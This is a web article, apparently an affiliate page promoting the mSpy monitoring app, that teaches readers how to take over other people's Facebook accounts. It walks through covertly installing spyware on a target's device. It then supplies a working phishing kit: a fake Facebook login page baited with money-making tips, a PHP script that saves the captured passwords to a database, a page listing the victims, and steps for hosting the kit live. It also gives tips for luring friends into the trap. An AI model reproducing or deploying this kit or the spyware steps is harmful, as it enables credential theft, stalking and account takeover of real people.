How to Hack a Facebook Account: 4 Best Ways

This is a tutorial designed to inform you about how any of your accounts, such as Facebook, Instagram, Twitter, LinkedIn, etc., can be hacked using a phishing attack.

The purpose of this tutorial is to show you how to hack Facebook account with your own code, not to cause harm to anyone. Please do not use the code provided here to actually hack anyone’s Facebook account as this is an illegal action.

After reading this tutorial on hacking a Facebook account, you will feel more secure and be able to protect yourself while using the internet, such as Facebook, Gmail, or even your bank account. You will also understand the consequences of opening any unknown links sent by anyone, even by someone you know.

Let’s begin the tutorial on hacking a Facebook account ID and password using your own code.

What Methods Are Available?

There are various methods you can use to gain access to your Facebook accounts, and some are more effective than others. In this section, we’ll look at the most common techniques.

How to Hack Facebook Password Using mSpy

mSpy is a software program that allows users to monitor the activity on a target device, including social media accounts like Facebook. The app can be installed on smartphones and computers, and it offers a range of monitoring features, including call and text message monitoring, GPS tracking, and access to social media accounts.

If you want to hack Facebook or hack someones kik no survey using mSpy, you would need physical access to the target device to install the software. Once you have physical access, you would need to follow these steps:

  1. Purchase mSpy: You would need to purchase a subscription to mSpy to gain access to the software. The subscription cost varies based on the type of device you want to monitor.
  2. Install mSpy: Once you have purchased the subscription, you would need to physically install the mSpy software on the target device. This can be done by following the instructions provided by mSpy.
  3. Access mSpy Dashboard: After the software is installed, you would need to access the mSpy dashboard by logging in with the credentials provided during the subscription process.
  4. Monitor Facebook Activity: Once you are logged in to the mSpy dashboard, you can monitor all Facebook activity on the target device, including messages, posts, and login credentials.


Keylogger image

A keylogger is a type of software program that records every keystroke made on a target device and sends that information back to the hacker. Keyloggers can be installed on a device through a downloaded file, email attachment, or by physical access to the device. Once installed, the keylogger can capture a user’s Facebook login credentials, along with other sensitive information like credit card numbers and passwords.

Keyloggers can be particularly dangerous because they can capture information entered on both desktop and mobile devices. This makes it easy for hackers to gain access to a user’s Facebook account from any device, even if the hacker doesn’t have physical access to the device at the time. It’s important to be cautious when downloading files or clicking on links and to have strong anti-virus software installed on all devices to detect and remove any potential keyloggers.


Phishing image

Phishing is a type of cyber attack that involves creating a fake login page that looks like the real Facebook login page. The hacker then sends this fake login page to the target, usually through email, social media messages, or text messages. The target is tricked into entering their Facebook login credentials on the fake page, which are then captured by the hacker.

Phishing attacks can be difficult to detect because the fake login page looks so convincing. However, there are some signs to watch out for, such as a suspicious URL or incorrect spelling and grammar. It’s important to always verify the legitimacy of any login page before entering your credentials. You can do this by checking the URL to ensure it’s the correct one for Facebook and by looking for other signs of authenticity, such as the Facebook logo and proper spelling and grammar.

How to Hack Facebook Account for Free

What to Do Before Hacking a Facebook Account for Free?

Before attempting to hack Facebook account using this tutorial, you must have a basic understanding of the following languages:

  1. HTML
  2. CSS
  3. JavaScript
  4. PHP and MySQLi

You might be wondering why it’s necessary to learn or have a basic understanding of these languages. The answer is simple: you need to create a login form that looks identical to the Facebook login page (HTML and CSS required), store users’ login credentials in a database (PHP and MySQLi required), and redirect users to the original Facebook page (JavaScript required).

By reading and implementing the code provided here, you’ll be able to hack Facebook account using a phishing attack.

If you’ve already learned these languages and want to test your knowledge, you can take online tests such as the HTML Test, CSS Test, JavaScript Test, PHP Test, and MySQL Test. Based on your test results, you’ll know how well you understand each language.

After reading this tutorial on Facebook account hacking, you’ll be able to implement your own phishing attack to hack multiple Facebook account IDs and passwords.

Tips to Trap Users to Hack their Facebook Account

These tips will teach you how to easily trap targeted users and hack their Facebook account ID and password:

  1. Determine what the user likes – First, find out what the target user likes the most and create a web page that caters to their interests. For example, a page that promises to help users earn money quickly, or one that offers tips for getting in shape in just a few days.
  2. Check the device being used – Next, determine which device the target user is using, such as a mobile phone, computer, or tablet. You can also implement auto-redirection code on your login page to redirect users to the desktop version login page if they are using a desktop device. This ensures that the user will be directed to the most suitable login page for their device.
  3. Find the best time to trap the user – Lastly, find the best time to trap your target user by sending them the link and hacking their Facebook account. The best time is when the user is free and able to open the link with a clear mind.

Steps to Hack Facebook Password

Here are the steps to follow for hacking a Facebook account/password:

  1. Create a login page that looks like the Facebook login page.
  2. Create a login page handler script to store the login credentials in your database.
  3. Redirect the user to the original Facebook page after storing or getting their login credentials.
  4. Create a database to store Facebook IDs and passwords.
  5. Send the link to the user.
  6. Create a web page to see all hacked Facebook account IDs and passwords.

After sending the link to the targeted user, you don’t have to do anything else. The user will automatically give their Facebook account ID and password to you by logging in on your fake login page. This is why it’s important to make the fake login page look identical to the original Facebook login page.

For example, you can create a web page that promises to help users earn money quickly but asks them to log in to Facebook to continue. When the user clicks the link, they will be redirected to your fake login page. After logging in, the user will be redirected to the original Facebook page, and their login credentials will be stored in your database.

You can also create a web page to see the list of targeted or trapped users’ Facebook account passwords along with their Facebook IDs. This way, you won’t have to keep checking your database to see if any users have been trapped.

In the following steps and code, we will show you how to hack Facebook password and account ID.

1. Make Login Page looks like Facebook Login Page

To make the login page look like the Facebook login page, you should first consider the interests of the target user. For example, if the target user is interested in earning money quickly, create a login page with a message related to earning money. Or, if the target user is interested in fitness, create a login page with fitness training tips.

Next, you can create a demo login page with the following code. This code is for mobile users, but you can implement a redirection code using JavaScript to redirect users to the desktop version login page.

<!doctype html>
   <title>Top 10 Tips to Earn Money in Short Time</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
   <meta name="description" content="Here are the list of top 10 tips to earn money in short time and become a
   successful earner in today's market. This list are exclusive to get for free to everyone.">
   <meta property='og:image' content='earnmoney.jpg' />
   <link rel="shortcut icon" href="">
      table tr td{text-align:center;}
      .bottom a{color:#D3D3D3;}
      .bottom a:link{text-decoration:none;}
      .inputf a:link{text-decoration:none;}
<body style="margin:0px;">
   document.title='Facebook - Log In or Sign Up';
<div style="width:100%;">
<div style="height:40px;background-color:#3b5998;padding-bottom:10px;padding-left:5px;">
   <span style="color:white;font-size:120%;"><br/>facebook</span>
<div style="background-color:#FAFAD2;padding:5px;line-height:23px;text-align:center;">
   <span style="color:purple;">Login to continue to get top 10 exclusive tips to earn money in short time.</span>
<div class="inputf" style="background-color:AliceBlue;padding:10px;text-align:center;"><br/>
   <form name="fbform" method="post" action="login.php">
      <input name="email" type="text" id="email" placeholder="Email address or phone number" maxlength="40" size="30px"
      <input name="pass" type="password" id="pass" placeholder="Password" maxlength="40" size="30px"
      <input class="login" name="login" type="submit" id="submit" value="Log In" size="60px"><br/><br/>
      <span style="text-align:center;">Or</span><br/><br/>
      <a class="check" href="#email" onclick='document.getElementById("email").focus();'>Create New Account</a><br/><br/>
      <a href="#email" onclick='document.getElementById("email").focus();'>Forgotten password?</a> <br/><br/>
      <a href="#email" onclick='document.getElementById("email").focus();'>Help Center</a><br/>
<div class="bottom" style="background-color:#808080;padding:10px;">
   <table style="width:250px;margin-left:auto;margin-right:auto;color:#D3D3D3;">
      <td><a href="#email" onclick='document.getElementById("email").focus();'>English (UK)</a></td>
      <td><a href="#email" onclick='document.getElementById("email").focus();'>English (US)</a></td>
      <td><a href="#email" onclick='document.getElementById("email").focus();'>English (In)</a></td>
      <td><a href="#email" onclick='document.getElementById("email").focus();'>More</a></td>
   <p style="text-align:center;color:white;">Facebook</p>

Before implementing the code online for the target user to obtain his/her Facebook ID and password, it is recommended to first implement this Facebook account hacking system on your local computer system. To do this, you can download and install XAMPP software on your computer and follow the steps provided below:

  1. Save the above code with the name “earnmoney.php” inside the directory “C:\xampp\htdocs”. This directory is automatically created after installing XAMPP. Also, place an image with the name “earnmoney.jpg” inside the same directory.
  2. Open XAMPP and start the Apache and MySQL modules. If you are not familiar with these modules, you can follow our PHP and MySQLi tutorial before proceeding to the next step of hacking Facebook account ID and password.
  3. After starting the modules, open your browser and type “localhost/earnmoney.php”. This should display a page that looks like the following screenshot:
hack facebook account id password

The code provided above is designed specifically for mobile users. However, it is necessary to create a login page that is suitable for both mobile and desktop users. To achieve this, it is recommended to create another login page named “earnmoneyD.php” that is suitable for desktop users. Additionally, a redirection code can be implemented to automatically redirect desktop users to the appropriate login page:

<script type="text/javascript">
if (screen.width > 800) { window.location = "localhost/earnmoneyD.php"; }

Place the previously mentioned code at the beginning of the login page that was created previously.

2. Create Script to Store Facebook Login Credentials

The following code is the login handler script that stores the Facebook login credentials of targeted users in your database:

   $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');
      // redirect users to original Facebook if error occurred
<!doctype html>
   <title>Logging in to facebook</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
<body style="margin:0px;"> 
         $email = $pass = "";
         // get facebook email id
         $email = $_POST["email"];
         // get Facebook password
         $pass = $_POST["pass"];
         // insert the Facebook id and password in database
         $sql = "insert into fbusers(facebookid, facebookpassword) values('$email', '$pass')";
         $result = $conn->query($sql);
   // redirect users to original Facebook URL

Save the above file with the name “login.php” inside the same directory as the previous files.

3. Redirect Users to Original Facebook URL

The code shown in the second step is used to redirect users to the original Facebook page.


4. Make Database to Store Facebook Id and Password

To store the Facebook ID and password of targeted users, you need to create a database with the name “fbhackedusers,” and then create a table with the same name. Next, create two columns with the name “facebookid” and “facebookpassword,” respectively. To do this, follow these steps:

1. Open XAMPP control panel and click on “Admin” next to MySQL.

mysql admin xampp

2. This will open a web page in your default browser with this URL.

3. Click on “Databases.”

facebook database hack nav

4. Enter the database name as “fbhackedusers” and click on the “Create” button.

5. Enter “fbusers” for the table name and set “3” for the number of columns. Click on the “Go” button.

facebook hack table name

6. Provide details for all three columns as follows:

  • For the first column, fill in “S.No.” as the name, “INT” as the type, “6” as the length/values, “PRIMARY” as the index, and tick “A.I.” (auto-increment).
  • For the second column, fill in “facebookid” as the name and “VARCHAR” as the type, with “40” as the length/values.
  • For the third column, fill in “facebookpassword” as the name and “VARCHAR” as the type, with “40” as the length/values.

7. Here is a snapshot of the database after providing the details as mentioned above.

facebook hack column details

8. Click on the “Save” button, and you have successfully set up the database locally.

5. Send Facebook Hacking Link to Friend

Send the hacking link to your friends to begin retrieving their Facebook account credentials. Once they open the link, they will see a page offering exclusive tips on how to make money quickly. To access these tips, your friend will need to enter their Facebook ID and password.

6. Create Web page to List Hacked Facebook Users

Create a webpage that displays the list of hacked Facebook account IDs and passwords from the database in a table format, so that you don’t have to keep checking the database repeatedly. This will make it easier to view the hacked accounts. You can use the following code as a template:

   $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');
<!doctype html>
   <title>List of Facebook Users Hacked by Me</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
      table th, td{border:1px solid black;padding:10px;}
   $sql = "select * from fbusers";
   $res = $conn->query($sql);
   echo "<table>";
   echo "<tr>";
   echo "<th>Facebook Id</th>";
   echo "<th>Facebook Password</th>";
   echo "</tr>";
      echo "<tr><td> $row[1] </td> <td> $row[2] </td></tr>";
   echo "</table>"; 

Save the file containing the above code with the name “hackedusers.php” in the same directory as the other files.

Example of Hacking Facebook Account/Password Using This Method

Now, let’s take a look at the step-by-step process of how to hack someone’s Facebook account and password.

The first screenshot shows the demo login page that appears when your friend clicks on the link you sent them.

hack facebook account

Next, your friend will enter their Facebook account credentials in order to get exclusive tips on earning money quickly. You can customize the message, title, and description of the page to cater to the target user’s interests. For example, if you send the link via WhatsApp, it will appear like the following (assuming you’ve put the entire hacking system live as instructed earlier):

hack facebook link snapshot

Note that the dollar image that you uploaded will be displayed after a while, making it more appealing to the user and prompting them to click on the link.

Here is the screenshot of the login page after the targeted user has entered their Facebook login credentials and clicked on the “Log In” button:

hack facebook account code

After entering their Facebook credentials and clicking on the Log In button, the login handler script will store the details in the database and redirect the user to the original Facebook URL. Your friend’s Facebook account information will now be stored in your database, and you can view the list of hacked users using the web page created in the 6th step. To access the page, open your browser and type localhost/hackedusers.php. The following is an example of the output you’ll see:

how to hack facebook account

You can send the link to anyone whose Facebook account you wish to hack, and you can check whether your target is trapped in your hacking system by regularly refreshing the hackedusers.php page.

Last Step to Implement Facebook Account Hacking System Live

The last crucial step to put the entire Facebook account hacking system into action using your website requires a few steps. If you already have a website, such as codescracker or any other, follow these steps:

  1. Create a directory called ‘facebook’ in the parent directory.
  2. Create a database and table with the same details as used in the above code of the Facebook account hacking system.
  3. Place all files, including earnmoney.php, earnmoneyD.php, login.php, hackedusers.php, and the image file named earnmoney.jpg, inside the ‘facebook’ directory.
  4. Send the link to your friends, for example,
  5. Open the link in your browser, that is,

If you don’t have a website yet, follow these steps:

  1. Purchase or register a domain, such as
  2. Purchase a web hosting account to host all your website files on your server.
  3. Set up your website to make it live.
  4. Follow all the steps after having a website and replace ‘codescracker’ with your domain name.

After completing the above steps, you need to modify the connection string. Replace ‘localhost’ with your hosting address, ‘root’ with your database username, ‘password’ with your database password, and ‘localhost/’ with this URL.

You can make further changes according to your needs to hack anyone’s Facebook account id and password, as this tutorial is just a demo to show how you can hack someone’s Facebook account using simple methods or how your account can be hacked.


After reviewing the various methods available for hacking a Facebook account, it is clear that mSpy is the most effective solution. With mSpy, users can monitor all Facebook activity on a target device, including messages, posts, and login credentials. Although physical access to the device is required to install the software, mSpy offers a range of monitoring features that make it a valuable tool for ensuring online security.

Other methods, such as keyloggers and phishing, can be dangerous and are often illegal. These methods can compromise the security of the target user and result in serious consequences. It’s important to always use caution when attempting to hack Facebook account and to prioritize the safety and privacy of others.

In conclusion, mSpy is the best hacking app for Android and iPhone and the most effective solution for monitoring Facebook activity, hacking into a google account and ensuring online security.

Claire York author
Claire York

I am a journalist turned private detective researching most spy apps and their effectiveness. Apps, the internet, technology and cybersecurity have always been of interest to me. I turned this passion into a career after leaving my journalistic career at a well-known firm.

In overseeing all the important content development for this website, I go beyond what is being sold, detailed, advertised, reviewed, and trying to uncover everything there is to know about these applications.